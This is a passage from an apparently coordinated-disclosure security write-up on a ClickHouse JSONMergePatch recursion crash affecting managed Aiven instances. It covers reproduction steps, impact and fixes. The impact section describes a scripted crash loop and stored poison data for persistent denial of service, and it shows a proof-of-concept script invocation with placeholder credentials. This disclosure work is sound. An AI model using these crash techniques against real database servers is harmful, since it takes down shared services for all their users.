| 443 | <td><code>CREATE VIEW</code></td> |
| 444 | <td>avnadmin</td> |
| 445 | <td>28s</td> |
| 446 | </tr> |
| 447 | <tr> |
| 448 | <td>4</td> |
| 449 | <td><code>SELECT</code> from stored table data</td> |
| 450 | <td>avnadmin</td> |
| 451 | <td>148s</td> |
| 452 | </tr> |
| 453 | <tr> |
| 454 | <td>5</td> |
| 455 | <td><code>SELECT</code> from stored data</td> |
| 456 | <td>analyst (SELECT-only)</td> |
| 457 | <td>8s</td> |
| 458 | </tr> |
| 459 | <tr> |
| 460 | <td>6</td> |
| 461 | <td>Cross-join on shared_analytics</td> |
| 462 | <td>analyst (SELECT-only)</td> |
| 463 | <td>- (server down)</td> |
| 464 | </tr> |
| 465 | <tr> |
| 466 | <td>7-12</td> |
| 467 | <td>Sustained crash loop (6 cycles)</td> |
| 468 | <td>avnadmin</td> |
| 469 | <td>1s, 2s, 8s, 1s,, -</td> |
| 470 | </tr> |
| 471 | </tbody> |
| 472 | </table> |
| 473 | <h2>Impact</h2> |
| 474 | <ul> |
| 475 | <li><strong>Availability:</strong> 100% sustained downtime achievable. Scripted attacker re-crashes on recovery, server never serves real queries during attack.</li> |
| 476 | <li><strong>Privilege level:</strong> Any authenticated user with SELECT privileges can crash the server. No admin access needed (demonstrated with restricted <code>analyst</code> user).</li> |
| 477 | <li><strong>Persistence:</strong> Crash payload stored in MergeTree tables survives restarts. Future queries on the data trigger the crash without the attacker being present.</li> |
| 478 | <li><strong>Stealth:</strong> Attacker with INSERT access can hide poison data in existing shared tables (demonstrated with <code>shared_analytics</code>). The triggering query is an innocent-looking metadata merge, no auditing would flag it as malicious.</li> |
| 479 | <li><strong>Scope change:</strong> The <em>victim</em> of the crash is not the attacker. A <code>writer</code> inserts data; an <code>analyst</code> running a routine report crashes the server for <em>all</em> users.</li> |
| 480 | <li><strong>Blast radius:</strong> All users of the managed instance are affected. All connected clients disconnected. All in-flight queries aborted.</li> |
| 481 | <li><strong>Ease:</strong> One HTTP request. No tools beyond <code>curl</code>. No special permissions.</li> |
| 482 | </ul> |
| 483 | <h2>Recommended Fix</h2> |
| 484 | <ol> |
| 485 | <li> |
| 486 | <p><strong>Immediate:</strong> Add a depth counter to <code>merge_objects</code> in <code>jsonMergePatch.cpp</code> and throw an exception when depth exceeds a reasonable limit (e.g., 1000). Alternatively, add <code>checkStackSize()</code> inside the recursive lambda.</p> |
| 487 | </li> |
| 488 | <li> |
| 489 | <p><strong>Defense in depth:</strong> Consider adding a server-wide setting for maximum JSON document nesting depth in functions that process JSON recursively.</p> |
| 490 | </li> |
| 491 | </ol> |
| 492 | <h2>Proof of concept</h2> |
| 493 | <p>Single-shell repro: <a href="aiven/poc/clickhouse-crash.sh"><code>aiven/poc/clickhouse-crash.sh</code></a></p> |
| 494 | <pre><code class="language-bash">HOST="<your-instance>.<host>:26161" |
| 495 | USER="<select-only-user>" |
| 496 | PASS="<password>" |
| 497 | ./aiven/poc/clickhouse-crash.sh "$HOST" "$USER" "$PASS" |
| 498 | </code></pre> |
| 499 | <p>The script issues one <code>SELECT JSONMergePatch(...)</code> with two deeply nested |
| 500 | JSON arguments. The server SIGSEGVs; orchestration brings it back in 8-23 |
| 501 | seconds. Loop the script and the instance never stays up long enough to |
| 502 | serve real queries.</p> |
| 503 | <hr><p style="color:var(--faint);font-size:12.5px;font-family:ui-monospace,Menlo,monospace">Source · github.com/zionboggan/security-research-notebook · writeups/aiven-clickhouse-jsonmergepatch-stack-overflow.md</p> |
| 504 | </div></div></section> |
| 505 | <footer><div class="wrap row"> |
| 506 | <div class="links"><a href="/">Portfolio</a><a href="https://www.linkedin.com/in/zion-boggan">LinkedIn</a><a href="/security-research-notebook/">Notebook</a><a href="mailto:zionboggan0@gmail.com">Email</a></div> |
| 507 | <div class="note">Coordinated-disclosure research. Findings appear here only after the program's disclosure window closed, the patch shipped, or a CVE was published. No customer data was accessed.</div> |
| 508 | </div></footer> |
| 509 | </body></html> |